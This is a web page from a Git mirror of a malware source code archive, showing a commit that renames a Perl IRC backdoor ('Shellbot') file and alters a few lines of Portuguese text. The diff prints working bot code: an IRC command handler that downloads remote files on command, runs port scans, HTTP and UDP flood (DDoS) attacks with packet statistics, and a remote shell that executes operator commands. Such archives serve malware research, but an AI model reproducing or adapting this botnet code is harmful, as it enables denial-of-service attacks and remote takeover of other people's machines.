ch0ic3/MalwareSourceCode
1
0
Fork 0
mirror of https://github.com/vxunderground/MalwareSourceCode.git synced 2024-12-19 18:06:10 +00:00
Code Issues Actions Packages Projects Releases Wiki Activity

Rename Backdoor.Perl.Shellbot.aj to Backdoor.Perl.IRCBot.Scanner.sk12

Browse Source
This commit is contained in:
vxunderground 2020-11-14 01:03:47 -06:00 committed by GitHub
parent e2a123b357
commit 76f5fb7d83
No known key found for this signature in database
GPG Key ID: 4AEE18F83AFDEB23
1 changed files with 6 additions and 6 deletions
Show Stats Download Patch File Download Diff File Expand all files Collapse all files

12
Perl/Backdoor.Perl.Shellbot.aj → Perl/Backdoor.Perl.IRCBot.Scanner.sk12
View File

@ -325,7 +325,7 @@ sub bfunc {
elsif ($funcarg =~ /^download\s+(.*)\s+(.*)/) { elsif ($funcarg =~ /^download\s+(.*)\s+(.*)/) {
getstore("$1", "$2"); getstore("$1", "$2");
sendraw($IRC_cur_socket, "PRIVMSG $printl :Download de $2 ($1) Concluído!") if ($estatisticas); sendraw($IRC_cur_socket, "PRIVMSG $printl :Download de $2 ($1) Concluído!") if ($estatisticas);
} }
elsif ($funcarg =~ /^fullportscan\s+(.*)\s+(\d+)\s+(\d+)/) { elsif ($funcarg =~ /^fullportscan\s+(.*)\s+(\d+)\s+(\d+)/) {
@ -365,7 +365,7 @@ sub bfunc {
sendraw($IRC_cur_socket, "PRIVMSG $printl :\002[HTTP-DDOS]\002 Finished with attacking ".$1."."); sendraw($IRC_cur_socket, "PRIVMSG $printl :\002[HTTP-DDOS]\002 Finished with attacking ".$1.".");
} }
# Duas Versões simplificada do meu Tr0x ;D # Duas Versões simplificada do meu Tr0x ;D
elsif ($funcarg =~ /^udp\s+(.*)\s+(\d+)\s+(\d+)/) { elsif ($funcarg =~ /^udp\s+(.*)\s+(\d+)\s+(\d+)/) {
return unless $pacotes; return unless $pacotes;
socket(Tr0x, PF_INET, SOCK_DGRAM, 17); socket(Tr0x, PF_INET, SOCK_DGRAM, 17);
@ -464,7 +464,7 @@ sub bfunc {
sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Tempo\002: $dtime"."s"); sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Tempo\002: $dtime"."s");
sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Total pacotes\002: ".($pacotes{udp} + $pacotes{igmp} + $pacotes{icmp} + $pacotes{o})); sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Total pacotes\002: ".($pacotes{udp} + $pacotes{igmp} + $pacotes{icmp} + $pacotes{o}));
sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Total bytes\002: ".($bytes{icmp} + $bytes {igmp} + $bytes{udp} + $bytes{o})); sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Total bytes\002: ".($bytes{icmp} + $bytes {igmp} + $bytes{udp} + $bytes{o}));
sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Média de envio\002: ".int((($bytes{icmp}+$bytes{igmp}+$bytes{udp} + $bytes{o})/1024)/$dtime)." kbps"); sendraw($IRC_cur_socket, "PRIVMSG $printl :\002Média de envio\002: ".int((($bytes{icmp}+$bytes{igmp}+$bytes{udp} + $bytes{o})/1024)/$dtime)." kbps");
} }
} }
exit; exit;
@ -573,10 +573,10 @@ sub ircase {
elsif ($case =~ /^estatisticas (.*)/) { elsif ($case =~ /^estatisticas (.*)/) {
if ($1 eq "on") { if ($1 eq "on") {
$estatisticas = 1; $estatisticas = 1;
msg("$printl", "Estatísticas ativadas!"); msg("$printl", "Estatísticas ativadas!");
} elsif ($1 eq "off") { } elsif ($1 eq "off") {
$estatisticas = 0; $estatisticas = 0;
msg("$printl", "Estatísticas desativadas!"); msg("$printl", "Estatísticas desativadas!");
} }
} }
elsif ($case =~ /^pacotes (.*)/) { elsif ($case =~ /^pacotes (.*)/) {
@ -609,7 +609,7 @@ sub shell {
my $printl=$_[0]; my $printl=$_[0];
my $comando=$_[1]; my $comando=$_[1];
if ($comando =~ /cd (.*)/) { if ($comando =~ /cd (.*)/) {
chdir("$1") || msg("$printl", "Diretório inexistente!"); chdir("$1") || msg("$printl", "Diretório inexistente!");
return; return;
} }
elsif ($pid = fork) { elsif ($pid = fork) {